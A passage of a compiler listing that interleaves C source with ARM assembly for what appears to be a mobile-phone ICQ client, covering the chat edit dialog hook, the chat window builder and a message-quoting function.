0120A0E3 MOV R2,#+1 \ 00000178 081088E2 ADD R1,R8,#+8 \ 0000017C 0500A0E1 MOV R0,R5 \ 00000180 680100EF SWI +360 7176 if (!EDIT_IsBusy(data)) \ ??edchat_ghook_9: \ 00000184 0500A0E1 MOV R0,R5 \ 00000188 1C0200EF SWI +540 \ 0000018C 000050E3 CMP R0,#+0 \ 00000190 2100001A BNE ??edchat_ghook_3 7177 { 7178 time_to_stop_t9=0; \ 00000194 B46384E5 STR R6,[R4, #+948] 7179 if (ed_struct->ed_contact->req_add) \ 00000198 000097E5 LDR R0,[R7, #+0] \ 0000019C 841090E5 LDR R1,[R0, #+132] \ 000001A0 000051E3 CMP R1,#+0 \ 000001A4 0500000A BEQ ??edchat_ghook_10 7180 { 7181 ed_struct->ed_contact->req_add=0; \ 000001A8 846080E5 STR R6,[R0, #+132] 7182 AddMsgToChat(data); \ 000001AC 0500A0E1 MOV R0,R5 \ 000001B0 ........ BL AddMsgToChat 7183 RecountMenu(ed_struct->ed_contact,1); \ 000001B4 000097E5 LDR R0,[R7, #+0] \ 000001B8 0110A0E3 MOV R1,#+1 \ 000001BC ........ BL RecountMenu 7184 } 7185 if (ed_struct->ed_contact->req_drawack) \ ??edchat_ghook_10: \ 000001C0 000097E5 LDR R0,[R7, #+0] \ 000001C4 881090E5 LDR R1,[R0, #+136] \ 000001C8 000051E3 CMP R1,#+0 \ 000001CC 1200000A BEQ ??edchat_ghook_3 7186 { 7187 ed_struct->ed_contact->req_drawack=0; \ 000001D0 886080E5 STR R6,[R0, #+136] 7188 DrawAck(data); \ 000001D4 0500A0E1 MOV R0,R5 \ 000001D8 ........ BL DrawAck \ 000001DC B1FFFFEA B ??edchat_ghook_1 7189 } 7190 } 7191 } 7192 if (cmd==0x0C) \ ??edchat_ghook_8: \ 000001E0 0C0059E3 CMP R9,#+12 \ 000001E4 0C00001A BNE ??edchat_ghook_3 7193 { 7194 j=EDIT_GetFocus(data); \ 000001E8 0500A0E1 MOV R0,R5 \ 000001EC 820100EF SWI +386 \ 000001F0 0040A0E1 MOV R4,R0 7195 if ((EDIT_GetUnFocus(data)ed_answer)) \ 000001F4 0500A0E1 MOV R0,R5 \ 000001F8 830100EF SWI +387 \ 000001FC 040050E1 CMP R0,R4 \ 00000200 050000AA BGE ??edchat_ghook_3 \ 00000204 080097E5 LDR R0,[R7, #+8] \ 00000208 000054E1 CMP R4,R0 \ 0000020C 0200000A BEQ ??edchat_ghook_3 7196 EDIT_SetCursorPos(data,1); \ 00000210 0110A0E3 MOV R1,#+1 \ 00000214 0500A0E1 MOV R0,R5 \ 00000218 D40100EF SWI +468 7197 } 7198 } \ ??edchat_ghook_3: \ 0000021C 2CD08DE2 ADD SP,SP,#+44 ;; stack cleaning \ 00000220 F083BDE8 POP {R4-R9,PC} ;; return \ ??edchat_ghook_4: \ 00000224 ........ DC32 my_ed_redraw \ 00000228 ........ DC32 SmilesImgList \ 0000022C ........ DC32 ??sk_1 \ In segment DATA_C, align 4, align-sorted 7199 7200 7201 7202 static const INPUTDIA_DESC edchat_desc = \ edchat_desc: \ 00000000 01000000.... DC32 1, edchat_onkey, edchat_ghook, edchat_locret, 0, menu_skt \ ............ \ ........0000 \ 0000........ \ 00000018 000000000000 DC16 0, 0, 0, 0 \ 0000 \ 00000020 080000006400 DC32 8, 100, 101, 0, 0, 1073741824 \ 000065000000 \ 000000000000 \ 000000000040 \ 00000038 000000000000 DC16 0, 0, 0, 0 \ 0000 \ 00000040 000000000000 DC32 0H, 0, 2147483647 \ 0000FFFFFF7F \ 0000004C 2D2D2D2D2D2D DC8 "-------" \ 2D00 \ In segment DATA_C, align 4, align-sorted \ ??sk_1: \ 00000000 FF0F0000 DC16 4095, 0 \ 00000004 ........ DC32 `?` \ 00000008 F00F0000 DC16 4080, 0 \ 0000000C ........ DC32 `?` 7203 { 7204 1, 7205 edchat_onkey, 7206 edchat_ghook, 7207 (void *)edchat_locret, 7208 0, 7209 &menu_skt, 7210 {0,NULL,NULL,NULL}, 7211 FONT_SMALL, 7212 100, 7213 101, 7214 0, 7215 // 0x00000001 - Выровнять по правому краю 7216 // 0x00000002 - Выровнять по центру 7217 // 0x00000004 - Инверсия знакомест 7218 // 0x00000008 - UnderLine 7219 // 0x00000020 - Не переносить слова 7220 // 0x00000200 - bold 7221 0, 7222 // 0x00000002 - ReadOnly 7223 // 0x00000004 - Не двигается курсор 7224 // 0x40000000 - Поменять местами софт-кнопки 7225 0x40000000 7226 }; 7227 \ In segment CODE, align 4, keep-with-next 7228 void CreateEditChat(CLIST *t) 7229 { \ CreateEditChat: \ 00000000 F04F2DE9 PUSH {R4-R11,LR} 7230 7231 void *ma=malloc_adr(); 7232 void *eq; 7233 EDITCONTROL ec; 7234 EDITC_OPTIONS ec_options; 7235 int color, font, type; 7236 int zc; 7237 7238 LOGQ *lp; 7239 int edchat_toitem; 7240 // edcontact=t; 7241 7242 *((int *)(&edchat_hdr.lgp_id))=(int)t->name; \ 00000004 18649FE5 LDR R6,??CreateEditChat_0 ;; edchat_desc 7243 // *((int **)(&edchat_hdr.icon))=(int *)S_ICONS+GetIconIndex(t); 7244 *((int **)(&edchat_hdr.icon))=(int *)S_ICONS+IS_NULLICON; \ 00000008 ........ LDR R7,??DataTable154 ;; S_ICONS \ 0000000C 3CD04DE2 SUB SP,SP,#+60 \ 00000010 0040A0E1 MOV R4,R0 \ 00000014 148000EF SWI +32788 \ 00000018 0050A0E1 MOV R5,R0 \ 0000001C 140084E2 ADD R0,R4,#+20 \ 00000020 440086E5 STR R0,[R6, #+68] \ 00000024 440087E2 ADD R0,R7,#+68 \ 00000028 400086E5 STR R0,[R6, #+64] 7245 7246 eq=AllocEQueue(ma,mfree_adr()); \ 0000002C 158000EF SWI +32789 \ 00000030 0010A0E1 MOV R1,R0 \ 00000034 0500A0E1 MOV R0,R5 \ 00000038 630100EF SWI +355 7247 7248 /* hist = malloc(256); 7249 if(!GetHistory(hist, 256, t->uin)) 7250 { 7251 ascii2ws(ews,hist); 7252 PrepareEditControl(&ec); 7253 ConstructEditControl(&ec,ECT_NORMAL_TEXT,ECF_APPEND_EOL|ECF_DISABLE_T9,ews,ews->wsbody[0]); 7254 } 7255 mfree(hist); 7256 7257 AddEditControlToEditQend(eq,&ec,ma); */ 7258 lp=t->log; \ 0000003C 8C9094E5 LDR R9,[R4, #+140] \ 00000040 0080A0E1 MOV R8,R0 \ 00000044 000059E3 CMP R9,#+0 \ 00000048 8200000A BEQ ??CreateEditChat_1 7259 7260 while(lp) 7261 { 7262 font = ED_H_FONT_SIZE; 7263 if ((zc=lp->acked&3)) \ ??CreateEditChat_2: \ 0000004C 040099E5 LDR R0,[R9, #+4] \ 00000050 CCA197E5 LDR R10,[R7, #+460] \ 00000054 B0B197E5 LDR R11,[R7, #+432] \ 00000058 030010E2 ANDS R0,R0,#0x3 \ 0000005C 0300000A BEQ ??CreateEditChat_3 7264 { 7265 if (zc==1) \ 00000060 010050E3 CMP R0,#+1 \ 00000064 1A00001A BNE ??CreateEditChat_4 7266 color=ACK_COLOR; //Зеленый \ 00000068 E0B197E5 LDR R11,[R7, #+480] \ 0000006C 180000EA B ??CreateEditChat_4 7267 else 7268 color=I_COLOR; 7269 } 7270 else 7271 { 7272 if (lp->ID==0xFFFFFFFF) \ ??CreateEditChat_3: \ 00000070 080099E5 LDR R0,[R9, #+8] \ 00000074 010070E3 CMN R0,#+1 \ 00000078 1400001A BNE ??CreateEditChat_5 7273 { 7274 type = lp->type&0x0F; \ 0000007C 0C0099E5 LDR R0,[R9, #+12] \ 00000080 0F1000E2 AND R1,R0,#0xF 7275 if(lp->type&0x10) \ 00000084 100010E3 TST R0,#0x10 \ 00000088 0900000A BEQ ??CreateEditChat_6 7276 { 7277 color = (type==1)?O_I_COLOR:((type==3)?O_X_COLOR:O_TO_COLOR); \ 0000008C 010051E3 CMP R1,#+1 \ 00000090 BCB19705 LDREQ R11,[R7, #+444] \ 00000094 0400000A BEQ ??CreateEditChat_7 \ 00000098 030051E3 CMP R1,#+3 \ 0000009C C4B19705 LDREQ R11,[R7, #+452] \ 000000A0 DCA19705 LDREQ R10,[R7, #+476] \ 000000A4 0A00000A BEQ ??CreateEditChat_4 \ 000000A8 C0B197E5 LDR R11,[R7, #+448] \ ??CreateEditChat_7: \ 000000AC D8A197E5 LDR R10,[R7, #+472] \ 000000B0 070000EA B ??CreateEditChat_4 7278 font = (type==3)?O_ED_X_FONT_SIZE:O_ED_H_FONT_SIZE; 7279 } 7280 else 7281 { 7282 color = (type==1)?I_COLOR:((type==3)?X_COLOR:TO_COLOR); \ ??CreateEditChat_6: \ 000000B4 010051E3 CMP R1,#+1 \ 000000B8 0500000A BEQ ??CreateEditChat_4 \ 000000BC 030051E3 CMP R1,#+3 \ 000000C0 B4B19715 LDRNE R11,[R7, #+436] \ 000000C4 D0A19705 LDREQ R10,[R7, #+464] \ 000000C8 B8B19705 LDREQ R11,[R7, #+440] \ 000000CC 000000EA B ??CreateEditChat_4 7283 font = (type==3)?ED_X_FONT_SIZE:ED_H_FONT_SIZE; 7284 } 7285 } 7286 else 7287 color=UNACK_COLOR; //????? \ ??CreateEditChat_5: \ 000000D0 E4B197E5 LDR R11,[R7, #+484] 7288 } 7289 PrepareEditControl(&ec); \ ??CreateEditChat_4: \ 000000D4 10008DE2 ADD R0,SP,#+16 \ 000000D8 640100EF SWI +356 7290 if ((lp->type&0x0F)!=3) \ 000000DC 0C0099E5 LDR R0,[R9, #+12] \ 000000E0 0F0000E2 AND R0,R0,#0xF \ 000000E4 030050E3 CMP R0,#+3 \ 000000E8 0800000A BEQ ??CreateEditChat_8 7291 { 7292 ascii2ws(ews,lp->hdr); \ 000000EC 780297E5 LDR R0,[R7, #+632] \ 000000F0 101089E2 ADD R1,R9,#+16 \ 000000F4 ........ _BLF ascii2ws,??ascii2ws??rA 7293 ConstructEditControl(&ec,ECT_HEADER,ECF_APPEND_EOL,ews,ews->wsbody[0]); \ 000000F8 783297E5 LDR R3,[R7, #+632] \ 000000FC 4020A0E3 MOV R2,#+64 \ 00000100 000093E5 LDR R0,[R3, #+0] \ 00000104 B000D0E1 LDRH R0,[R0, #+0] \ 00000108 01002DE9 PUSH {R0} \ 0000010C 030000EA B ??CreateEditChat_9 7294 } 7295 else 7296 { 7297 ConstructEditControl(&ec,ECT_HEADER,ECF_DELSTR,ews,0); \ ??CreateEditChat_8: \ 00000110 0000A0E3 MOV R0,#+0 \ 00000114 01002DE9 PUSH {R0} \ 00000118 783297E5 LDR R3,[R7, #+632] \ 0000011C 2020A0E3 MOV R2,#+32 \ ??CreateEditChat_9: \ 00000120 0110A0E3 MOV R1,#+1 \ 00000124 14008DE2 ADD R0,SP,#+20 \ 00000128 650100EF SWI +357 \ 0000012C 04D08DE2 ADD SP,SP,#+4 7298 } 7299 PrepareEditCOptions(&ec_options); \ 00000130 0D00A0E1 MOV R0,SP \ 00000134 C80100EF SWI +456 7300 SetPenColorToEditCOptions(&ec_options,color); \ 00000138 0B10A0E1 MOV R1,R11 \ 0000013C 0D00A0E1 MOV R0,SP \ 00000140 CC0100EF SWI +460 7301 SetFontToEditCOptions(&ec_options,font); \ 00000144 0A10A0E1 MOV R1,R10 \ 00000148 0D00A0E1 MOV R0,SP \ 0000014C CA0100EF SWI +458 7302 CopyOptionsToEditControl(&ec,&ec_options); \ 00000150 0D10A0E1 MOV R1,SP \ 00000154 10008DE2 ADD R0,SP,#+16 \ 00000158 CE0100EF SWI +462 7303 AddEditControlToEditQend(eq,&ec,ma); \ 0000015C 0520A0E1 MOV R2,R5 \ 00000160 10108DE2 ADD R1,SP,#+16 \ 00000164 0800A0E1 MOV R0,R8 \ 00000168 660100EF SWI +358 7304 if ((lp->type&0x0F)!=3) \ 0000016C 0C0099E5 LDR R0,[R9, #+12] \ 00000170 0F1000E2 AND R1,R0,#0xF \ 00000174 030051E3 CMP R1,#+3 \ 00000178 0300000A BEQ ??CreateEditChat_10 7305 { 7306 ParseAnswer(ews,lp->text); \ 0000017C 780297E5 LDR R0,[R7, #+632] \ 00000180 601089E2 ADD R1,R9,#+96 \ 00000184 ........ BL ParseAnswer \ 00000188 050000EA B ??CreateEditChat_11 7307 } 7308 else 7309 { 7310 ParseXStatusText(ews,lp->text,(lp->type&0x10)?O_X_COLOR:X_COLOR); \ ??CreateEditChat_10: \ 0000018C 100010E3 TST R0,#0x10 \ 00000190 C4219715 LDRNE R2,[R7, #+452] \ 00000194 780297E5 LDR R0,[R7, #+632] \ 00000198 B8219705 LDREQ R2,[R7, #+440] \ 0000019C 601089E2 ADD R1,R9,#+96 \ 000001A0 ........ BL ParseXStatusText 7311 } 7312 PrepareEditControl(&ec); \ ??CreateEditChat_11: \ 000001A4 10008DE2 ADD R0,SP,#+16 \ 000001A8 640100EF SWI +356 7313 ConstructEditControl(&ec, 7314 ECT_NORMAL_TEXT, 7315 ews->wsbody[0] ? ECF_APPEND_EOL|ECF_DISABLE_T9 : ECF_DELSTR, 7316 ews,ews->wsbody[0]); \ 000001AC 783297E5 LDR R3,[R7, #+632] \ 000001B0 000093E5 LDR R0,[R3, #+0] \ 000001B4 B010D0E1 LDRH R1,[R0, #+0] \ 000001B8 000051E3 CMP R1,#+0 \ 000001BC 0100A0E1 MOV R0,R1 \ 000001C0 01002DE9 PUSH {R0} \ 000001C4 812DA013 MOVNE R2,#+8256 \ 000001C8 2020A003 MOVEQ R2,#+32 \ 000001CC 0310A0E3 MOV R1,#+3 \ 000001D0 14008DE2 ADD R0,SP,#+20 \ 000001D4 650100EF SWI +357 7317 PrepareEditCOptions(&ec_options); \ 000001D8 04008DE2 ADD R0,SP,#+4 \ 000001DC C80100EF SWI +456 7318 //#ifdef M75 7319 if ((lp->type&0x0F)!=3) \ 000001E0 0C0099E5 LDR R0,[R9, #+12] \ 000001E4 04D08DE2 ADD SP,SP,#+4 \ 000001E8 0F1000E2 AND R1,R0,#0xF \ 000001EC 030051E3 CMP R1,#+3 \ 000001F0 0300000A BEQ ??CreateEditChat_12 7320 { 7321 SetFontToEditCOptions(&ec_options,(lp->type&0x10)?O_ED_FONT_SIZE:ED_FONT_SIZE); \ 000001F4 100010E3 TST R0,#0x10 \ 000001F8 C8119705 LDREQ R1,[R7, #+456] \ 000001FC D4119715 LDRNE R1,[R7, #+468] \ 00000200 080000EA B ??CreateEditChat_13 7322 } 7323 else 7324 { 7325 SetPenColorToEditCOptions(&ec_options,(lp->type&0x10)?O_X_COLOR:X_COLOR); \ ??CreateEditChat_12: \ 00000204 100010E3 TST R0,#0x10 \ 00000208 C4119715 LDRNE R1,[R7, #+452] \ 0000020C 0D00A0E1 MOV R0,SP \ 00000210 B8119705 LDREQ R1,[R7, #+440] \ 00000214 CC0100EF SWI +460 7326 SetFontToEditCOptions(&ec_options,(lp->type&0x10)?O_ED_X_FONT_SIZE:ED_X_FONT_SIZE); \ 00000218 0C0099E5 LDR R0,[R9, #+12] \ 0000021C 100010E3 TST R0,#0x10 \ 00000220 DC119715 LDRNE R1,[R7, #+476] \ 00000224 D0119705 LDREQ R1,[R7, #+464] \ ??CreateEditChat_13: \ 00000228 0D00A0E1 MOV R0,SP \ 0000022C CA0100EF SWI +458 7327 } 7328 //#else 7329 // SetFontToEditCOptions(&ec_options,(lp->type&0x10)?O_ED_FONT_SIZE:ED_FONT_SIZE); 7330 //#endif 7331 CopyOptionsToEditControl(&ec,&ec_options); \ 00000230 0D10A0E1 MOV R1,SP \ 00000234 10008DE2 ADD R0,SP,#+16 \ 00000238 CE0100EF SWI +462 7332 AddEditControlToEditQend(eq,&ec,ma); \ 0000023C 0520A0E1 MOV R2,R5 \ 00000240 10108DE2 ADD R1,SP,#+16 \ 00000244 0800A0E1 MOV R0,R8 \ 00000248 660100EF SWI +358 7333 lp=lp->next; \ 0000024C 009099E5 LDR R9,[R9, #+0] 7334 } \ 00000250 000059E3 CMP R9,#+0 \ 00000254 7CFFFF1A BNE ??CreateEditChat_2 7335 if (t->isunread) total_unread--; \ ??CreateEditChat_1: \ 00000258 7C0094E5 LDR R0,[R4, #+124] 7336 total_unread2=total_unread2-t->unread_msg; 7337 t->unread_msg=0; \ 0000025C 0090A0E3 MOV R9,#+0 \ 00000260 000050E3 CMP R0,#+0 \ 00000264 0C039715 LDRNE R0,[R7, #+780] \ 00000268 01004012 SUBNE R0,R0,#+1 \ 0000026C 0C038715 STRNE R0,[R7, #+780] \ 00000270 600297E5 LDR R0,[R7, #+608] \ 00000274 801094E5 LDR R1,[R4, #+128] \ 00000278 010040E0 SUB R0,R0,R1 \ 0000027C 600287E5 STR R0,[R7, #+608] \ 00000280 809084E5 STR R9,[R4, #+128] 7338 t->isunread=0; \ 00000284 7C9084E5 STR R9,[R4, #+124] 7339 ChangeContactPos(t); \ 00000288 0400A0E1 MOV R0,R4 \ 0000028C ........ _BLF ChangeContactPos,??ChangeContactPos??rA 7340 wsprintf(ews, "-------"); \ 00000290 780297E5 LDR R0,[R7, #+632] \ 00000294 4C1086E2 ADD R1,R6,#+76 \ 00000298 240100EF SWI +292 7341 PrepareEditControl(&ec); \ 0000029C 10008DE2 ADD R0,SP,#+16 \ 000002A0 640100EF SWI +356 7342 ConstructEditControl(&ec,ECT_HEADER,ECF_APPEND_EOL,ews,ews->wsbody[0]); \ 000002A4 783297E5 LDR R3,[R7, #+632] \ 000002A8 4020A0E3 MOV R2,#+64 \ 000002AC 000093E5 LDR R0,[R3, #+0] \ 000002B0 0110A0E3 MOV R1,#+1 \ 000002B4 B000D0E1 LDRH R0,[R0, #+0] \ 000002B8 01002DE9 PUSH {R0} \ 000002BC 14008DE2 ADD R0,SP,#+20 \ 000002C0 650100EF SWI +357 7343 PrepareEditCOptions(&ec_options); \ 000002C4 04008DE2 ADD R0,SP,#+4 \ 000002C8 C80100EF SWI +456 7344 SetFontToEditCOptions(&ec_options,ED_FONT_SIZE); \ 000002CC C81197E5 LDR R1,[R7, #+456] \ 000002D0 04008DE2 ADD R0,SP,#+4 \ 000002D4 CA0100EF SWI +458 7345 CopyOptionsToEditControl(&ec,&ec_options); \ 000002D8 04108DE2 ADD R1,SP,#+4 \ 000002DC 14008DE2 ADD R0,SP,#+20 \ 000002E0 CE0100EF SWI +462 7346 AddEditControlToEditQend(eq,&ec,ma); \ 000002E4 0520A0E1 MOV R2,R5 \ 000002E8 14108DE2 ADD R1,SP,#+20 \ 000002EC 0800A0E1 MOV R0,R8 \ 000002F0 660100EF SWI +358 7347 7348 if (t->answer) ParseAnswer(ews,t->answer); \ 000002F4 901094E5 LDR R1,[R4, #+144] \ 000002F8 04D08DE2 ADD SP,SP,#+4 \ 000002FC 000051E3 CMP R1,#+0 \ 00000300 0200000A BEQ ??CreateEditChat_14 \ 00000304 780297E5 LDR R0,[R7, #+632] \ 00000308 ........ BL ParseAnswer \ 0000030C 020000EA B ??CreateEditChat_15 7349 else CutWSTR(ews,0); \ ??CreateEditChat_14: \ 00000310 780297E5 LDR R0,[R7, #+632] \ 00000314 0010A0E3 MOV R1,#+0 \ 00000318 260100EF SWI +294 7350 PrepareEditControl(&ec); \ ??CreateEditChat_15: \ 0000031C 10008DE2 ADD R0,SP,#+16 \ 00000320 640100EF SWI +356 7351 // ConstructEditControl(&ec,3,(FIRST_LETTER)?ECF_DEFAULT_BIG_LETTER:0,ews,1024); 7352 ConstructEditControl(&ec,3,(FIRST_LETTER)?ECF_DEFAULT_BIG_LETTER:0,ews,4096); \ 00000324 8C0197E5 LDR R0,[R7, #+396] \ 00000328 0310A0E3 MOV R1,#+3 \ 0000032C 000050E3 CMP R0,#+0 \ 00000330 400DA0E3 MOV R0,#+4096 \ 00000334 01002DE9 PUSH {R0} \ 00000338 783297E5 LDR R3,[R7, #+632] \ 0000033C 402DA013 MOVNE R2,#+4096 \ 00000340 0020A003 MOVEQ R2,#+0 \ 00000344 14008DE2 ADD R0,SP,#+20 \ 00000348 650100EF SWI +357 7353 7354 PrepareEditCOptions(&ec_options); \ 0000034C 04008DE2 ADD R0,SP,#+4 \ 00000350 C80100EF SWI +456 7355 SetFontToEditCOptions(&ec_options,ED_FONT_SIZE); \ 00000354 C81197E5 LDR R1,[R7, #+456] \ 00000358 04008DE2 ADD R0,SP,#+4 \ 0000035C CA0100EF SWI +458 7356 CopyOptionsToEditControl(&ec,&ec_options); \ 00000360 04108DE2 ADD R1,SP,#+4 \ 00000364 14008DE2 ADD R0,SP,#+20 \ 00000368 CE0100EF SWI +462 7357 edchat_toitem=AddEditControlToEditQend(eq,&ec,ma); \ 0000036C 0520A0E1 MOV R2,R5 \ 00000370 14108DE2 ADD R1,SP,#+20 \ 00000374 0800A0E1 MOV R0,R8 \ 00000378 660100EF SWI +358 \ 0000037C 00A0A0E1 MOV R10,R0 7358 7359 if (t->req_xtext) \ 00000380 A80094E5 LDR R0,[R4, #+168] \ 00000384 04D08DE2 ADD SP,SP,#+4 \ 00000388 000050E3 CMP R0,#+0 \ 0000038C 0400000A BEQ ??CreateEditChat_16 7360 { 7361 FreeXText(t); \ 00000390 0400A0E1 MOV R0,R4 \ 00000394 ........ _BLF FreeXText,??FreeXText??rA 7362 t->req_xtext=0; \ 00000398 A89084E5 STR R9,[R4, #+168] 7363 RequestXText(t->uin); \ 0000039C 0C0094E5 LDR R0,[R4, #+12] \ 000003A0 ........ BL RequestXText 7364 } 7365 7366 EDCHAT_STRUCT *ed_struct=malloc(sizeof(EDCHAT_STRUCT)); \ ??CreateEditChat_16: \ 000003A4 1400A0E3 MOV R0,#+20 \ 000003A8 140000EF SWI +20 \ 000003AC 0050A0E1 MOV R5,R0 7367 ed_struct->ed_contact=t; \ 000003B0 004085E5 STR R4,[R5, #+0] 7368 ed_struct->ed_answer=edchat_toitem; \ 000003B4 08A085E5 STR R10,[R5, #+8] 7369 ed_struct->requested_decrement_total_unread=0; \ 000003B8 0C9085E5 STR R9,[R5, #+12] 7370 t->req_add=0; \ 000003BC 849084E5 STR R9,[R4, #+132] 7371 t->last_log=NULL; \ 000003C0 949084E5 STR R9,[R4, #+148] 7372 7373 // int scr_w=ScreenW(); 7374 // int scr_h=ScreenH(); 7375 // int head_h=HeaderH(); 7376 7377 patch_header(&edchat_hdr); \ 000003C4 380086E2 ADD R0,R6,#+56 \ 000003C8 ........ _BLF patch_header,??patch_header??rA 7378 patch_input(&edchat_desc); \ 000003CC B891C6E1 STRH R9,[R6, #+24] \ 000003D0 8A8100EF SWI +33162 \ 000003D4 190080E2 ADD R0,R0,#+25 \ 000003D8 BA01C6E1 STRH R0,[R6, #+26] \ 000003DC 888100EF SWI +33160 \ 000003E0 010040E2 SUB R0,R0,#+1 \ 000003E4 BC01C6E1 STRH R0,[R6, #+28] \ 000003E8 898100EF SWI +33161 \ 000003EC 0040A0E1 MOV R4,R0 \ 000003F0 8B8100EF SWI +33163 \ 000003F4 000044E0 SUB R0,R4,R0 \ 000003F8 010040E2 SUB R0,R0,#+1 \ 000003FC BE01C6E1 STRH R0,[R6, #+30] 7379 // edchat_desc.font=ED_FONT_SIZE; 7380 edchat_id=CreateInputTextDialog(&edchat_desc,&edchat_hdr,eq,1,ed_struct); \ 00000400 20002DE9 PUSH {R5} \ 00000404 0130A0E3 MOV R3,#+1 \ 00000408 0820A0E1 MOV R2,R8 \ 0000040C 381086E2 ADD R1,R6,#+56 \ 00000410 0600A0E1 MOV R0,R6 \ 00000414 670100EF SWI +359 \ 00000418 1C0387E5 STR R0,[R7, #+796] 7381 } \ 0000041C 40D08DE2 ADD SP,SP,#+64 \ 00000420 F08FBDE8 POP {R4-R11,PC} ;; return \ ??CreateEditChat_0: \ 00000424 ........ DC32 edchat_desc 7382 7383 //----------------------------------------------------------------------------- 7384 #define EC_MNU_MAX 9 7385 \ In segment CODE, align 4, keep-with-next 7386 void Quote(GUI *data) 7387 { \ Quote: \ 00000000 F0402DE9 PUSH {R4-R7,LR} \ 00000004 84D04DE2 SUB SP,SP,#+132 7388 int q_n; 7389 EDITCONTROL ec, ec_hdr; 7390 EDITCONTROL ec_ed; 7391 WSHDR *ed_ws; 7392 WSHDR *ws; 7393 7394 EDCHAT_STRUCT *ed_struct; 7395 ed_struct=MenuGetUserPointer(data); \ 00000008 E00100EF SWI +480 \ 0000000C 0040A0E1 MOV R4,R0 7396 7397 q_n=EDIT_GetFocus(ed_struct->ed_chatgui); \ 00000010 040094E5 LDR R0,[R4, #+4] \ 00000014 820100EF SWI +386 \ 00000018 0050A0E1 MOV R5,R0 7398 ExtractEditControl(ed_struct->ed_chatgui,q_n,&ec); \ 0000001C 040094E5 LDR R0,[R4, #+4] \ 00000020 2C208DE2 ADD R2,SP,#+44 \ 00000024 0510A0E1 MOV R1,R5 \ 00000028 690100EF SWI +361 7399 ExtractEditControl(ed_struct->ed_chatgui,q_n-1,&ec_hdr); \ 0000002C 040094E5 LDR R0,[R4, #+4] \ 00000030 58208DE2 ADD R2,SP,#+88 \ 00000034 011045E2 SUB R1,R5,#+1 \ 00000038 690100EF SWI +361 7400 ExtractEditControl(ed_struct->ed_chatgui,ed_struct->ed_answer,&ec_ed); \ 0000003C 081094E5 LDR R1,[R4, #+8] \ 00000040 040094E5 LDR R0,[R4, #+4] \ 00000044 0D20A0E1 MOV R2,SP \ 00000048 690100EF SWI +361 7401 7402 ed_ws=AllocWS((ec_ed.maxlen<<1) + 1); \ 0000004C F801DDE1 LDRSH R0,[SP, #+24] \ 00000050 0110A0E3 MOV R1,#+1 \ 00000054 800081E0 ADD R0,R1,R0, LSL #+1 \ 00000058 250100EF SWI +293 \ 0000005C 0050A0E1 MOV R5,R0 7403 if(wstrlen(ec_hdr.pWS)) \ 00000060 80009DE5 LDR R0,[SP, #+128] \ 00000064 230100EF SWI +291 \ 00000068 000050E3 CMP R0,#+0 \ 0000006C 0600000A BEQ ??Quote_0 7404 { 7405 wstrcpy(ed_ws,ec_hdr.pWS); \ 00000070 80109DE5 LDR R1,[SP, #+128] \ 00000074 0500A0E1 MOV R0,R5 \ 00000078 1F0100EF SWI +287 7406 wsAppendChar(ed_ws,'\r'); \ 0000007C 0D10A0E3 MOV R1,#+13 \ 00000080 0500A0E1 MOV R0,R5 \ 00000084 1C0000EF SWI +28 \ 00000088 020000EA B ??Quote_1 7407 } 7408 else 7409 CutWSTR(ed_ws,0); \ ??Quote_0: \ 0000008C 0010A0E3 MOV R1,#+0 \ 00000090 0500A0E1 MOV R0,R5 \ 00000094 260100EF SWI +294 7410 if (EDIT_IsMarkModeActive(ed_struct->ed_chatgui)) \ ??Quote_1: \ 00000098 040094E5 LDR R0,[R4, #+4] \ 0000009C D80100EF SWI +472 \ 000000A0 000050E3 CMP R0,#+0 \ 000000A4 0300000A BEQ ??Quote_2 7411 { 7412 EDIT_GetMarkedText(ed_struct->ed_chatgui,ed_ws); \ 000000A8 040094E5 LDR R0,[R4, #+4] \ 000000AC 0510A0E1 MOV R1,R5 \ 000000B0 D90100EF SWI +473 \ 000000B4 020000EA B ??Quote_3 7413 } 7414 else 7415 { 7416 wstrcat(ed_ws,ec.pWS); \ ??Quote_2: \ 000000B8 54109DE5 LDR R1,[SP, #+84] \ 000000BC 0500A0E1 MOV R0,R5 \ 000000C0 210100EF SWI +289 7417 } 7418 int ed_pos=0; \ ??Quote_3: \ 000000C4 0000A0E3 MOV R0,#+0 \ 000000C8 FF60A0E3 MOV R6,#+255 \ 000000CC FF6C86E3 ORR R6,R6,#0xFF00 7419 do 7420 { 7421 ed_pos++; \ ??Quote_4: \ 000000D0 017080E2 ADD R7,R0,#+1 7422 wsInsertChar(ed_ws,'>',ed_pos++); \ 000000D4 0720A0E1 MOV R2,R7 \ 000000D8 3E10A0E3 MOV R1,#+62 \ 000000DC 0500A0E1 MOV R0,R5 \ 000000E0 1D0000EF SWI +29 \ 000000E4 017087E2 ADD R7,R7,#+1 7423 wsInsertChar(ed_ws,' ',ed_pos); \ 000000E8 0720A0E1 MOV R2,R7 \ 000000EC 2010A0E3 MOV R1,#+32 \ 000000F0 0500A0E1 MOV R0,R5 \ 000000F4 1D0000EF SWI +29 7424 } 7425 while((ed_pos=wstrchr(ed_ws,ed_pos,'\r'))!=0xFFFF); \ 000000F8 0D20A0E3 MOV R2,#+13 \ 000000FC 0710A0E1 MOV R1,R7 \ 00000100 0500A0E1 MOV R0,R5 \ 00000104 DC0100EF SWI +476 \ 00000108 060050E1 CMP R0,R6 \ 0000010C EFFFFF1A BNE ??Quote_4 7426 wsAppendChar(ed_ws,'\r'); \ 00000110 0D10A0E3 MOV R1,#+13 \ 00000114 0500A0E1 MOV R0,R5 \ 00000118 1C0000EF SWI +28 7427 wsAppendChar(ed_ws,'\r'); \ 0000011C 0D10A0E3 MOV R1,#+13 \ 00000120 0500A0E1 MOV R0,R5 \ 00000124 1C0000EF SWI +28 7428 ws=AllocWS(ec_ed.pWS->wsbody[0]+ed_ws->wsbody[0]); \ 00000128 28009DE5 LDR R0,[SP, #+40] \ 0000012C 001095E5 LDR R1,[R5, #+0] \ 00000130 000090E5 LDR R0,[R0, #+0] \ 00000134 B010D1E1 LDRH R1,[R1, #+0] \ 00000138 B000D0E1 LDRH R0,[R0, #+0] \ 0000013C 000081E0 ADD R0,R1,R0 \ 00000140 250100EF SWI +293 7429 wstrcpy(ws,ec_ed.pWS); \ 00000144 28109DE5 LDR R1,[SP, #+40] \ 00000148 0060A0E1 MOV R6,R0 \ 0000014C 1F0100EF SWI +287 7430 wstrcat(ws,ed_ws); \ 00000150 0510A0E1 MOV R1,R5 \ 00000154 0600A0E1 MOV R0,R6 \ 00000158 210100EF SWI +289 7431 FreeWS(ed_ws); \ 0000015C 0500A0E1 MOV R0,R5 \ 00000160 290100EF SWI +297 7432 CutWSTR(ws,ec_ed.maxlen); \ 00000164 